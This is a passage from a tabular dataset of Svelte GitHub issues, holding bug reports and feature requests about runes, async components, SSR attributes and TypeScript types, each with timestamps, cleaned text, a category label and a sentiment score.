### System Info

```shell
System:
    OS: Linux 5.15 Ubuntu 24.04.2 LTS 24.04.2 LTS (Noble Numbat)
    CPU: (24) x64 12th Gen Intel(R) Core(TM) i9-12900K
    Memory: 53.39 GB / 62.58 GB
    Container: Yes
    Shell: 5.2.21 - /bin/bash
  Binaries:
    Node: 22.17.1 - /opt/node/bin/node
    npm: 10.9.2 - /opt/node/bin/npm
```

### Severity

annoyance",,2025-07-29 14:59:47+00:00,2025-07-29 15:02:45+00:00,0,nan,0.0021,importing the file named put under triggered error about information leak describe the bug importing the file named that is put under into client pages triggered error this is super frustrating why did made sveltekit believe it was an server only file reproduction create a new sveltekit project create an file in import anything in into client codes logs system info severity annoyance,bug,-0.8176
sveltejs/svelte,3267218101,Await doesn't work with #await block,"### Describe the bug

I know there is no good reason to use await with the #await block, but it should work anyway

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.37.0#H4sIAAAAAAAAA22Oyw7CIBBFf4WMC9vElD0xJu78B-sCYZpiKJAytRrCvws-dq4mc-6cyU3g5IQg4ITWerb62WrWoDaEuoUdDMZiBHFOQM9Q7yoo_GsdQ-jiHS1VdpUR_3HlHaGj8gbSRq7SEGs-Y0BSY7MdiUIUnOtlmp636F2n_MTD7PWiKG7brrKmbRmN6Fj6BTn3rqe0QalG9oNMRpbIkMVP3NM-HL5gz8PhrfCqlDjxd49cShI-CATNC-ZL2aSxq3EaxCBtxPwCICO0cycBAAA=)

### Logs

```shell
await isn't allowed in non-async function (Note that you need plugins to import files that are not JavaScript)
```

### System Info

```shell
Using Svelte compiler version 5.37.0
running Svelte compiler version 5.37.0
```

### Severity

annoyance",,2025-07-27 15:54:36+00:00,2025-07-28 19:04:08+00:00,0,nan,1.1316,await doesn t work with await block describe the bug i know there is no good reason to use await with the await block but it should work anyway reproduction repl logs system info severity annoyance,others,-0.6908
sveltejs/svelte,3266921761,`animate` triggered not by the actual order change in a scrollable div,"### Describe the bug

When the items of a keyed each block are rendered in a scrollable div, and the div is scrolled down to the bottom. there's a fair chance that `animate` gets triggered for the items that changed their visual positions, rather than the items that changed its order.

While I can see where this is coming from ,the [Svelte documentation](https://svelte.dev/docs/svelte/animate) clearly states that animate is triggered by changes in item order. I’d appreciate some clarification on this behavior. Thanks a lot!

<img width=""1275"" height=""875"" alt=""Image"" src=""https://github.com/user-attachments/assets/de8b86e8-1b4e-4494-b5a0-6d38a7d01dbb"" />

<img width=""457"" height=""589"" alt=""Image"" src=""https://github.com/user-attachments/assets/c2456a08-c116-4105-ad09-74c7a3b92b4e"" />

### Reproduction

https://svelte.dev/playground/c88a25e3f1db420eb7e3d863c5daaf65?version=5.37.0

Actions: Scroll to the bottom of the list and click on the #6 block

### Logs

```shell

```

### System Info

```shell
playground
```

### Severity

annoyance",,2025-07-27 09:16:14+00:00,2025-12-22 01:55:17+00:00,1,nan,147.6938,triggered not by the actual order change in a scrollable div describe the bug when the items of a keyed each block are rendered in a scrollable div and the div is scrolled down to the bottom there s a fair chance that gets triggered for the items that changed their visual positions rather than the items that changed its order while i can see where this is coming from the svelte documentation clearly states that animate is triggered by changes in item order i d appreciate some clarification on this behavior thanks a lot reproduction actions scroll to the bottom of the list and click on the block logs system info severity annoyance,others,0.128
sveltejs/svelte,3264361420,Svelte-check or TS error when using let with named slots,"### Describe the bug

Svelte-check, or maybe TS, seem to be broken when using `let:` variables with named slots. If I do this, then the code explodes at runtime but there are no svelte-check errors:

```svelte
<Wrapper let:foo>
  <div class:foo slot=""title"">title2</div>
  <div class:foo>{foo}</div>
</Wrapper>
```

(^error: `foo is not defined in <unknown> in __wrapper.svelte`)

while if I do this, the code works at runtime, but svelte-check fails
```svelte
<Wrapper let:foo>
  <div class:foo slot=""title"" let:foo>title2</div>
  <div class:foo>{foo}</div>
</Wrapper>
```

Please let me know if I'm doing something wrong 😅 currently my poor app is broken and I don't know how to fix it!

### Reproduction

See https://github.com/tyler-boyd/svelte-ts-bug-repro. I just ran `npm create vite@latest` and created `App.svelte` and `Wrapper.svelte` to show this minimal reproduction. If you run `npm run check`, you'll see it fails, plus errors are shown in VS code.

```
> svelte-check-bug-repro@0.0.0 check
> svelte-check --tsconfig ./tsconfig.app.json && tsc -p tsconfig.node.json

Loading svelte-check in workspace: /Users/Tyler.Boyd/work/svelte-check-bug-repro
Getting Svelte diagnostics...

/Users/Tyler.Boyd/work/svelte-check-bug-repro/src/App.svelte:6:35
Error: Property 'foo' does not exist on type '{}'. (js)
<Wrapper let:foo>
  <div class:foo slot=""title"" let:foo>title2</div>
  <div class:foo>{foo}</div>

====================================
svelte-check found 1 error and 0 warnings in 1 fi... [TRUNCATED]",,2025-07-25 20:54:45+00:00,2025-07-25 21:07:25+00:00,1,nan,0.0088,svelte check or ts error when using let with named slots describe the bug svelte check or maybe ts seem to be broken when using variables with named slots if i do this then the code explodes at runtime but there are no svelte check errors error while if i do this the code works at runtime but svelte check fails please let me know if i m doing something wrong currently my poor app is broken and i don t know how to fix it reproduction see i just ran and created and to show this if you run you ll see it fails plus errors are shown in vs code svelte check bug repro check svelte check tsconfig tsconfig app json tsc p tsconfig node json loading svelte check in workspace users tyler boyd work svelte check bug repro getting svelte diagnostics users tyler boyd work svelte check bug repro src app svelte error property foo does not exist on type js title foo svelte check found error and warnings in fi truncated,bug,-0.9948
sveltejs/svelte,3263427471,Writing getter for public class stateful variables transforms into duplicate getters,"### Describe the bug

`$state()` can be used to define reactive class instance variables. This is generally very useful, though when writing a getter for public variables, there's a call stack error.

I later discovered this is called out in the docs:

> The compiler transforms `done` and `text` into `get` / `set` methods on the class prototype referencing private fields. This means the properties are not enumerable.
> — https://svelte.dev/docs/svelte/$state#Classes

I see from the JS output that a compiled `$.get(this.#myvar)` is necessary when returning the variable. Could the compiler detect when manually written getters are made, and perform this code transformation on our behalf?

Or instead, provide a warning when a `get myvar() { return this.myvar }` is written by the author, and provide education on the private variable getter/setter transformation.

### Reproduction

1. Go to https://svelte.dev/playground/5eb453986f3f4615a312342b59bd297c?version=5.36.16
2. Open `store.svelte.js`
3. Observe transformed store has 2 getters

### System Info

```shell
Svelte 5.36.16
```

### Severity

annoyance",,2025-07-25 14:29:50+00:00,2025-07-25 22:57:33+00:00,2,nan,0.3526,writing getter for public class stateful variables transforms into duplicate getters describe the bug can be used to define reactive class instance variables this is generally very useful though when writing a getter for public variables there s a call stack error i later discovered this is called out in the docs the compiler transforms and into methods on the class prototype referencing private fields this means the properties are not enumerable i see from the js output that a compiled is necessary when returning the variable could the compiler detect when manually written getters are made and perform this code transformation on our behalf or instead provide a warning when a is written by the author and provide education on the private variable getter setter transformation reproduction go to open observe transformed store has getters system info severity annoyance,others,-0.7584
sveltejs/svelte,3262664969,Add types for `part` attribute on `<svg>` element,"### Describe the problem

Svelte is throwing type error when you use `part` attribute on a `<svg>` element.

```svelte
<svg part=""myIcon"">...</svg>
```
```text
Svelte: Object literal may only specify known properties, and 'part' does not exist in type HTMLProps<'svg', SVGAttributes<any>>
```

This is very annoying when you, for example want to add the `part` attribute to an svg icon inside a shadow dom, so that you can style it from the outside of shadow dom using the `::part()` selector. It works just fine, but svelte-check will throw error and your editor will give you red squiggles.

According to the css spec, the `part` attribute can be used on any element inside the shadow tree, so that should also include svg.
https://drafts.csswg.org/css-shadow-parts/#part-attr
I'm not sure if the `part` attribute was not included in `SVGAttributes` intentionally or if it was just forgotten.
https://github.com/sveltejs/svelte/blob/main/packages/svelte/elements.d.ts

There is no non-hacky way to supress type errors on html attributes as far as I know - see https://github.com/sveltejs/language-tools/issues/1026.

### Describe the proposed solution

Add types for the `part` attribute to `SVGAttributes` of the `<svg>` element. I haven't noticed if it's missing from any other elements.

### Importance

would make my life easier",,2025-07-25 09:54:37+00:00,2025-07-25 12:43:42+00:00,0,nan,0.1174,add types for attribute on element describe the problem svelte is throwing type error when you use attribute on a element this is very annoying when you for example want to add the attribute to an svg icon inside a shadow dom so that you can style it from the outside of shadow dom using the selector it works just fine but svelte check will throw error and your editor will give you red squiggles according to the css spec the attribute can be used on any element inside the shadow tree so that should also include svg i m not sure if the attribute was not included in intentionally or if it was just forgotten there is no non hacky way to supress type errors on html attributes as far as i know see describe the proposed solution add types for the attribute to of the element i haven t noticed if it s missing from any other elements importance would make my life easier,others,-0.8717
sveltejs/svelte,3262337747,"$effect does not run after async derived completes, but after the next wakeup","### Describe the bug

the following code does not work:
```js
const foo = $derived(await a());

$effect(() => {
  console.log(""hello"", foo)
})
```

however if you mutate an unrelated $state variable the effect is suddenly run, indicating that this is an unintentional bug.

see reproduction for a full example, press the ""wake"" button to observe this behaviour.


### Reproduction

https://svelte.dev/playground/267ec9aa67c248d8b2d65aaffd1f02f8?version=5.36.16

### Severity

annoyance",,2025-07-25 07:52:47+00:00,2025-10-13 19:34:34+00:00,1,nan,80.4873,effect does not run after async derived completes but after the next wakeup describe the bug the following code does not work however if you mutate an unrelated state variable the effect is suddenly run indicating that this is an unintentional bug see reproduction for a full example press the wake button to observe this behaviour reproduction severity annoyance,others,-0.899
sveltejs/svelte,3260603488,Singular $prop rune for simple properties,"### Describe the problem

Svelte 5 runes are overall a much needed upgrade, but I think one area where they are a step back is the experience declaring props, especially when using TypeScript.

For example, this (Svelte 4 style):
```ts
export let initialValue: number | undefined;
export let onUpdate = (a: number) => {};
export let color = ""test"";
export let extra = false;
```
Is a much nicer developer experience than this, which is what we have now with runes:
```ts
interface Props {
  initialValue: number | undefined,
  onUpdate: (a: number) => void,
  color: string,
  extra: boolean
}

let {
  initialValue,
  onUpdate = (a) => {},
  color = ""test"",
  extra = false
}: Props = $props();
```
The repetition of property names and having to define a separate type make Svelte 5 a much more grating experience for those who depend on TypeScript. 

This alone is really putting me off migrating to Svelte 5, which sucks because the new runes are such a massive improvement over stores. 

### Describe the proposed solution

I don't think bringing back `export let` is a good idea as it's not very explicit and doesn't fit in now that we have runes.

I propose adding a singular version of the `$props()` rune, which can be used on the right hand side of a `let` assignment at the top level of a component's script. It would use the variable name on the left hand side as the property name, and can be given a default value.

The above code now turns into this:
```ts
let initialValue: number | un... [TRUNCATED]",,2025-07-24 17:08:03+00:00,2025-07-24 17:14:02+00:00,2,nan,0.0042,singular prop rune for simple properties describe the problem svelte runes are overall a much needed upgrade but i think one area where they are a step back is the experience declaring props especially when using typescript for example this svelte style is a much nicer developer experience than this which is what we have now with runes the repetition of property names and having to define a separate type make svelte a much more grating experience for those who depend on typescript this alone is really putting me off migrating to svelte which sucks because the new runes are such a massive improvement over stores describe the proposed solution i don t think bringing back is a good idea as it s not very explicit and doesn t fit in now that we have runes i propose adding a singular version of the rune which can be used on the right hand side of a assignment at the top level of a component s script it would use the variable name on the left hand side as the property name and can be given a default value the above code now turns into this ts let initialvalue number un truncated,others,0.9757
sveltejs/svelte,3259710688,Variable declarations in markup (replacing `{@const ...}`,"### Describe the problem

Right now we have [`{@const ...}`](https://svelte.dev/docs/svelte/@const), which is a) weird, b) inconsistent with `$derived(...)`, and c) limiting.

### Describe the proposed solution

Instead of this...

```svelte
{#each boxes as box}
  {@const area = box.width * box.height}
  {box.width} * {box.height} = {area}
{/each}
```

...we could do this:

```svelte
{#each boxes as box}
  {let area = $derived(box.width * box.height)}
  {box.width} * {box.height} = {area}
{/each}
```

Or if you want it to be read-only, use `const` instead. You get the idea.

This would also solve a limitation that people periodically encounter — the fact that you can't create local state. This is particularly irksome if a snippet needs to do something stateful, since you now need to convert it to a component (including carefully moving over any CSS that it uses):

```svelte
{#snippet counter()}
  {let count = $state(0)}
  
  <button onclick={() => count += 1}>
    clicks: {count}
  </button>
{snippet}

{@render counter()}
{@render counter()}
{@render counter()}
```

Naturally, `$state.raw` and `$derived.by` would also be supported, as would normal non-state declarations. We could also allow declarations with multiple declarators:

```svelte
{let a = 1, b = 2, c = 3}
```

Migrating existing uses of `{@const ...}` in runes-mode components would be trivial...

```diff
-{@const x = y}
+{const x = $derived(y)}
```

...and we could deprecate it at the same time.

This is more power... [TRUNCATED]",,2025-07-24 12:21:36+00:00,2026-05-29 12:05:15+00:00,29,nan,308.9886,variable declarations in markup replacing describe the problem right now we have which is a weird b inconsistent with and c limiting describe the proposed solution instead of this we could do this or if you want it to be read only use instead you get the idea this would also solve a limitation that people periodically encounter the fact that you can t create local state this is particularly irksome if a snippet needs to do something stateful since you now need to convert it to a component including carefully moving over any css that it uses naturally and would also be supported as would normal non state declarations we could also allow declarations with multiple declarators migrating existing uses of in runes mode components would be trivial and we could deprecate it at the same time this is more power truncated,others,0.5423
sveltejs/svelte,3257999274,[hmr] async infinite loading,"### Describe the bug

after i saved file with an {@html await  tranform(state) } , it started calling transform lots of times due to HMR 

### Reproduction

https://stackblitz.com/edit/vitejs-vite-xskydbn2?file=src%2Flib%2FCounter.svelte

### Logs

```shell

```

### System Info

```shell
5.36.15
```

### Severity

annoyance",,2025-07-23 23:45:02+00:00,2026-03-18 11:23:01+00:00,4,nan,237.4847,hmr async infinite loading describe the bug after i saved file with an html await tranform state it started calling transform lots of times due to hmr reproduction logs system info severity annoyance,others,-0.2732
sveltejs/svelte,3253729921,spread defaultvalue is incorrectly ssr'd,"### Describe the bug

take a component that includes an input with a defaultvalue (set via spreading). if you ssr the component, it fails to properly stringify this.

### Reproduction

svelte repl link (go to js output and enable server): https://svelte.dev/playground/hello-world?version=5.36.13#H4sIAAAAAAAAA22NwQrCMBBEf2XZk4LUe6gFb36BF-MhNlsIrGloNlYJ-XcTKJ48zmPeTEZvnoQKL8Q8wzovbGFH1gnZPR5wckwR1S2jfELrNVD5Zp1D6OKLWBp7mEj_-Dh7IS91Bvs4Li7IoL2WiqOANWLgBBksTSaxXA0nUqBxyxqhaN8ff2LvfEgCueu65hY4DvVD6C2oZElU7jUZx6vzFtVkOFL5Am8TIenmAAAA

the issue can be distilled down to
```js
import * as $ from 'svelte/internal/server'; console.log($.spread_attributes({ defaultValue: 'default' }, null))
```
returning ` defaultvalue=""default""` instead of ` value=""default""`

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.14 Ubuntu 25.04 25.04 (Plucky Puffin)
    CPU: (12) arm64 unknown
    Memory: 8.75 GB / 14.20 GB
    Container: Yes
    Shell: 4.0.1 - /usr/bin/fish
  Binaries:
    Node: 24.4.0 - ~/.local/share/pnpm/node
    npm: 11.4.2 - ~/.local/share/pnpm/npm
    pnpm: 10.11.0 - ~/.local/share/pnpm/pnpm
```

### Severity

annoyance",,2025-07-22 18:49:48+00:00,2025-09-11 01:10:46+00:00,0,nan,50.2646,spread defaultvalue is incorrectly ssr d describe the bug take a component that includes an input with a defaultvalue set via spreading if you ssr the component it fails to properly stringify this reproduction svelte repl link go to js output and enable server the issue can be distilled down to returning instead of logs system info severity annoyance,others,-0.7964
sveltejs/svelte,3253223519,`await` is not importable because it's a keyword,"### Describe the bug

<img width=""799"" height=""760"" alt=""Image"" src=""https://github.com/user-attachments/assets/f677dc55-3c4b-4593-b787-adeb0fa56017"" />


If I were to `import { await } from 'svelte/internal/client``,

I get a this error:
```
Unexpected reserved word 'await'. (1:9)

> 1 | import { await } from 'x';
```
or
```
 x `await` cannot be used as an identifier in an async context
   ,-[input.ts:1:1]
 1 | import { x as await } from 'x';
   :               ^^^^^
 2 | 
```

### Reproduction

Babel: https://babeljs.io/repl#?browsers=defaults&build=&builtIns=false&corejs=3.21&spec=false&loose=false&code_lz=JYWwDg9gTgLgBAbzgQwO7OPAvnAZlCEOAcgA9iBuIA&forceAllTransforms=false&modules=false&shippedProposals=false&evaluate=false&fileSize=false&timeTravel=false&sourceType=module&lineWrap=true&presets=&prettier=false&targets=&version=7.22.8&externalPlugins=&assumptions=%7B%7D


SWC: https://play.swc.rs/?version=1.13.1&code=H4sIAAAAAAAAA8vMLcgvKlGoVqhQSCxWSCxPzCxRqFVIK8rPVVCvULcGABWP5XIfAAAA&config=H4sIAAAAAAAAA32VPY%2FbMAyG9%2FyKQHOHIkMLdL4r0OHQoUBXQbEoR1dbMkQqlyDwfy8lOx%2BX0NlsPiIpkdSr02q9Vu%2FYqB%2FrE3%2Fyz2ASQrr8swWPgcyBLYqOA2CT%2FEDqy5kSFuRMh1BN40QUmdQCFS%2FAzdfNZvZQXYwIZ4%2FZ1vvg3fE2ZxP7IQHijY2tHDL3EAg%2F%2B88sxY8CKOVb%2BzbGDkx4QrRB7QNBC0kK3MSuMwOC3pskRCk7NcljlFIUmAmsHlIcRB6sJx8D53ykFozVTbQgIJ%2BgIb8HyY1zsVtAPp5wnootbHPb1j7fecPedNmQkBMOtSW8WyHqLnok7XKQSjjBhRpMcC7uvad3OgHlFB793qMPCz35B8AV6AxiMD1IcesKx%2FO05O2eevrgeGTpKHCeb%2BmUAVouqvbeCZUtlYFEXupmApsbKJVtpO3MeKF86C1ocI5nRQiNH... [TRUNCATED]",,2025-07-22 15:50:47+00:00,2025-07-22 16:23:44+00:00,6,nan,0.0229,is not importable because it s a keyword describe the bug if i were to i get a this error or reproduction babel swc truncated,others,-0.7579
sveltejs/svelte,3253117632,Improve error message for trying to export a snippet that references variables inside a non module script,"### Describe the problem

When I saw the following error messages I did not quickly understand what caused the error

```
TS error (shown when hovering error in editor):
Cannot export 'snippet_name'. Only local declarations can be exported from a module.

vite-plugin-svelte error (shown in dev console or vite-error-overlay):
`snippet_name` is not defined
https://svelte.dev/e/export_undefined
```

Problematic code
```svelte
<script module>
    export { snippet_name }
</script>

<script>
    let state = $state(true)
</script>

{#snippet snippet_name()}
    {#if state} ... {/if}
{/snippet}
```

### Describe the proposed solution

It would be nice if the error message has similar phrasing to https://svelte.dev/docs/svelte/snippet#Exporting-snippets (or better yet links to that part of the documentation)

### Importance

nice to have",documentation,2025-07-22 15:19:38+00:00,2025-08-06 00:47:59+00:00,0,documentation,14.3947,improve error message for trying to export a snippet that references variables inside a non module script describe the problem when i saw the following error messages i did not quickly understand what caused the error problematic code describe the proposed solution it would be nice if the error message has similar phrasing to or better yet links to that part of the documentation importance nice to have,bug,-0.34
sveltejs/svelte,3252980482,Default values for function props prevents reactivity when passed to child components,"### Describe the bug

If you have some component that takes a function as a prop and passes that on to child components, when the component provides a default value for that prop, changing the value of the prop will trigger reactivity with that component but will not trigger reactivity within any child components. This does not occur if the prop is a string type, for example, or if a default is not specified. This behaviour is the case regardless of whether the default value is ever used.

This manifested as fairly subtle failure in our usecase and took some time to isolate.

### Reproduction

https://svelte.dev/playground/1bdd3298b7574da5bffe6a21ef8b6086?version=5.36.13

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (8) arm64 Apple M1
    Memory: 138.28 MB / 8.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.0.2 - ~/.local/state/fnm_multishells/91717_1753180887181/bin/node
    npm: 11.4.2 - ~/.local/state/fnm_multishells/91717_1753180887181/bin/npm
  Browsers:
    Chrome: 138.0.7204.158
    Safari: 18.5
  npmPackages:
    svelte: ^5.0.0 => 5.36.13
```

### Severity

annoyance",,2025-07-22 14:43:43+00:00,2025-07-26 18:27:23+00:00,5,nan,4.1553,default values for function props prevents reactivity when passed to child components describe the bug if you have some component that takes a function as a prop and passes that on to child components when the component provides a default value for that prop changing the value of the prop will trigger reactivity with that component but will not trigger reactivity within any child components this does not occur if the prop is a string type for example or if a default is not specified this behaviour is the case regardless of whether the default value is ever used this manifested as fairly subtle failure in our usecase and took some time to isolate reproduction logs system info severity annoyance,others,-0.6249
sveltejs/svelte,3252369630,$host() styles not synchronously available in onMount and $effect,"### Describe the bug

Component styles are not synchronously available when using the $host() rune within onMount.

This prevents reliable access to computed styles, dimensions or CSS variables of the host element immediately after it's mounted.

This bug occurs in Svelte versions 5.36.0 through 5.36.13.
Svelte 5.35.7 it behaves as expected.

### Reproduction

1. Use svelte version 5.36.0 - 5.36.13.
2. Create a custom element
3. access $host() within onMount.

```svelte
<svelte:options customElement={{tag: ""my-counter""}}/>

<script lang=""ts"">
  import {onMount} from ""svelte"";

  let Host = $host()

  $effect(() => {
    console.log(""$effect"", Host.shadowRoot?.innerHTML); // BUG: has no <style> tag
  })

  onMount(() => {
    console.log(""onMount"",Host.shadowRoot?.innerHTML); // BUG: has no <style> tag
    setTimeout(() => {
      console.log(""delayed"",Host.shadowRoot?.innerHTML); // has the <style> tag
    })
  })
</script>

<button class=""btn"">Counter</button>

<style >
  .btn {
    width: 123px;
    height: 123px;
  }
</style>
```


<img width=""1167"" height=""76"" alt=""Image"" src=""https://github.com/user-attachments/assets/a2b86c1e-1cbf-40ab-bfc6-00a8437a5b4d"" />

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (12) arm64 Apple M3 Pro
    Memory: 94.95 MB / 36.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.3.0 - ~/.nvm/versions/node/v24.3.0/bin/node
    npm: 11.4.2 - ~/.nvm/versions/node/v24.3.0/bin/npm
    pnpm: 10.13.1 - ~/.n... [TRUNCATED]",,2025-07-22 11:54:35+00:00,2025-07-27 17:50:23+00:00,1,nan,5.2471,host styles not synchronously available in onmount and effect describe the bug component styles are not synchronously available when using the host rune within onmount this prevents reliable access to computed styles dimensions or css variables of the host element immediately after it s mounted this bug occurs in svelte versions through svelte it behaves as expected reproduction use svelte version create a custom element access host within onmount logs system info shell system os macos cpu arm apple m pro memory mb gb shell bin zsh binaries node nvm versions node v bin node npm nvm versions node v bin npm pnpm n truncated,others,-0.5461
sveltejs/svelte,3251251085,"docs: improve action, attach documentation","### Describe the problem

As a long time Svelte user, this was my frustration:

1. Forgot about what the term `attach`
2. Remembered previously used [`Action`](https://svelte.dev/docs/svelte/svelte-action)
3. No mention of `attach` in that [documentation](https://svelte.dev/docs/svelte/svelte-action)
4. Moved to the adjacent [`svelte/attachments` docs](https://svelte.dev/docs/svelte/svelte-attachments)
5. Does not explain the term and starts with `createAttachmentKey`
6. Learns that there is a [separate docs](https://svelte.dev/docs/svelte/@attach) for it, linked at the end of the page

### Describe the proposed solution

> This PR introduces _attachments_, which are essentially a more flexible and modern version of actions. https://github.com/sveltejs/svelte/pull/15000

1. Advise `attachments` in the `svelte/action` docs
2. Reorder `svelte/attachments` docs and introduce `Attachment` in the beginning

### Importance

nice to have",documentation,2025-07-22 06:12:01+00:00,2025-07-31 23:16:48+00:00,0,documentation,9.7117,docs improve action attach documentation describe the problem as a long time svelte user this was my frustration forgot about what the term remembered previously used no mention of in that documentation moved to the adjacent docs does not explain the term and starts with learns that there is a separate docs for it linked at the end of the page describe the proposed solution this pr introduces attachments which are essentially a more flexible and modern version of actions advise in the docs reorder docs and introduce in the beginning importance nice to have,documentation,0.6997
sveltejs/svelte,3251247360,Trim values automatically in a form submission,"### Describe the problem

Recently, a company I work with gave us a sprint ticket to add trimming to all values submitted via a form throughout the whole project. It took us a lot of useful hours to track down and identify all the text inputs which needed to be trimmed before form submission.

A colleague of mine suggested to write a high order function that will iterate through the request body and trim out the values of type string. 

### Describe the proposed solution

This got me thinking to have a custom prop on svelte form elements that can automatically trim values on submit. A prop like `autoTrim`  can be introduced on form tags that will automatically all values before passing invoking the onSubmit or action.

### Importance

would make my life easier",,2025-07-22 06:10:21+00:00,2025-07-22 07:54:48+00:00,1,nan,0.0725,trim values automatically in a form submission describe the problem recently a company i work with gave us a sprint ticket to add trimming to all values submitted via a form throughout the whole project it took us a lot of useful hours to track down and identify all the text inputs which needed to be trimmed before form submission a colleague of mine suggested to write a high order function that will iterate through the request body and trim out the values of type string describe the proposed solution this got me thinking to have a custom prop on svelte form elements that can automatically trim values on submit a prop like can be introduced on form tags that will automatically all values before passing invoking the onsubmit or action importance would make my life easier,others,0.9674
sveltejs/svelte,3248049501,Updating from 5.36.10 to 5.36.12 causes everything to become laggy.,"### Describe the bug

After updating past [svelte@5.36.10](https://github.com/sveltejs/svelte/releases/tag/svelte%405.36.10) interaction with the page, such as opening or closing a Drawer or dragging it around, which rely on updating a CSS variable and onpointermove event become laggy and the console logs setTimeout or blur violation where their handlers took too long to run and when checking the chunk location they point to a dequeue function. It's worth noting that my experimental flag for the new async stuff is false, and I'm not using it.

### Reproduction

Unfortunately, I'm unable to reproduce it in a meaningful way since it is an overall thing, and most interactions seem laggy. There is no release note for the 5.36.11 version, so I'm not sure what happens exactly between [svelte@5.36.10](https://github.com/sveltejs/svelte/releases/tag/svelte%405.36.10) and [svelte@5.36.12](https://github.com/sveltejs/svelte/releases/tag/svelte%405.36.12.) But maybe you guys can guess what might be causing the issue.

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (16) x64 12th Gen Intel(R) Core(TM) i7-12650H
    Memory: 5.79 GB / 15.63 GB
  Binaries:
    Node: 23.11.0 - C:\nvm4w\nodejs\node.EXE
    npm: 11.4.1 - C:\nvm4w\nodejs\npm.CMD
  Browsers:
    Edge: Chromium (136.0.3240.64)
    Internet Explorer: 11.0.26100.1882
```

### Severity

blocking an upgrade",perf,2025-07-21 10:24:52+00:00,2025-07-21 13:23:36+00:00,9,perf,0.1241,updating from to causes everything to become laggy describe the bug after updating past svelte interaction with the page such as opening or closing a drawer or dragging it around which rely on updating a css variable and onpointermove event become laggy and the console logs settimeout or blur violation where their handlers took too long to run and when checking the chunk location they point to a dequeue function it s worth noting that my experimental flag for the new async stuff is false and i m not using it reproduction unfortunately i m unable to reproduce it in a meaningful way since it is an overall thing and most interactions seem laggy there is no release note for the version so i m not sure what happens exactly between svelte and svelte but maybe you guys can guess what might be causing the issue logs system info severity blocking an upgrade,others,-0.8085
sveltejs/svelte,3247040158,await doesn't work with @const,"### Describe the bug

await doesn't work when used in conjunction with `@const`

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.36.12#H4sIAAAAAAAAA22OsY7CMBBEf8Xaa4KEoKKxAN11lPRA4eABWXLWlr0hoCj_jkNSneh2nmZmpyc2DUjTAd4H1YXkrapgncAuaEk355FJn3qSVxx9Iyh8Tv3FuMoPeBlZbTK-8WtgAUupoe0EdR1atia99mc-S_-T2cUIURFsHd-rxfDh65lP6rf0ZFHcNjWS2inTGSfqmELjMlYJOfgHqs2cnWzl3q7__yyTBE8hLanFcCnKON85tqRvxmcMb-ZNEVkVAQAA)

### Logs

```shell
await isn't allowed in non-async function (Note that you need plugins to import files that are not JavaScript)
```

### System Info

```shell
Using Svelte compiler version 5.36.12
running Svelte compiler version 5.36.12
```

### Severity

blocking an upgrade",,2025-07-21 03:14:20+00:00,2025-08-22 17:28:45+00:00,1,nan,32.5933,await doesn t work with const describe the bug await doesn t work when used in conjunction with reproduction repl logs system info severity blocking an upgrade,others,-0.5859
sveltejs/svelte,3245520946,asyn svelte ReferenceError: $$ownership_validator is not defined,"### Describe the bug

issue with shadcn-svelte 's dialog component, if  `bind `is removed then it works -` error $$ownership_validator is not defined`

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-dc4cvgmz?file=src%2Froutes%2F%2Blayout.svelte

```svelte
<script lang=""ts"">
  import { Dialog, Label, Separator } from ""bits-ui"";
		let {open=$bindable(false)}=$props()
		const module = $derived(
	await	(async function(){return 123})()
	);
</script>
  {module}
<Dialog.Root bind:open={open}>
  <Dialog.Trigger
    class=""rounded-input bg-dark text-background
	  shadow-mini hover:bg-dark/95 focus-visible:ring-foreground focus-visible:ring-offset-background focus-visible:outline-hidden
	  inline-flex h-12 items-center justify-center whitespace-nowrap px-[21px] text-[15px] font-semibold transition-colors focus-visible:ring-2 focus-visible:ring-offset-2 active:scale-[0.98]""
  >
    New API key
  </Dialog.Trigger>
  <Dialog.Portal>
    <Dialog.Overlay
      class=""data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 fixed inset-0 z-50 bg-black/80""
    />
  </Dialog.Portal>
</Dialog.Root>
```

### Logs

```shell

```

### System Info

```shell
svelte@5.36.8
```

### Severity

blocking an upgrade",,2025-07-19 18:14:09+00:00,2025-07-19 21:21:26+00:00,0,nan,0.1301,asyn svelte referenceerror ownership validator is not defined describe the bug issue with shadcn svelte s dialog component if is removed then it works reproduction logs system info severity blocking an upgrade,bug,-0.6808
sveltejs/svelte,3244806627,Destructuring doesn't work when using await in $derived(),"### Describe the bug

I don't know if this is a deliberate syntax design or not, but apparently, I cannot de-structure the output of my async function using $derived().

This result in an _Unexpected reserved word_ error : 
`const {foo,bar} = $derived(await someAsyncFunction())`

### Reproduction

[REPL](https://svelte.dev/playground/505bc5c6ff9649daa89472e1fabc61e5?version=5.36.8)

### Logs

```shell
app.js:54 
 SyntaxError: Unexpected reserved word
handleError	@	app.js:54
```

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (12) x64 13th Gen Intel(R) Core(TM) i5-13420H
    Memory: 10.12 GB / 23.71 GB
  Binaries:
    Node: 20.15.1 - C:\Program Files\nodejs\node.EXE
    npm: 10.7.0 - C:\Program Files\nodejs\npm.CMD
    bun: 1.2.6 - ~\.bun\bin\bun.EXE
  Browsers:
    Edge: Chromium (131.0.2903.86)
    Internet Explorer: 11.0.26100.1882
  npmPackages:
    svelte: ^5.36.7 => 5.36.7
```

### Severity

annoyance",,2025-07-19 02:58:17+00:00,2025-07-19 21:26:32+00:00,1,nan,0.7696,destructuring doesn t work when using await in derived describe the bug i don t know if this is a deliberate syntax design or not but apparently i cannot de structure the output of my async function using derived this result in an unexpected reserved word error reproduction repl logs system info severity annoyance,others,-0.8294
sveltejs/svelte,3244509267,Stores cannot be used in async components,"### Describe the bug

If any stores are used in an async component, the `$$cleanup` function gets injected in a different function than it's called.

```svelte
<script>
  import {writable} from 'svelte/store';
  const store = writable('world');
  await 'anything';
</script>

<h1>Hello {$store}!</h1>
```

`$setup_stores` gets called inside the async $body function, but `$$cleanup` goes in the actual component body.

### Reproduction

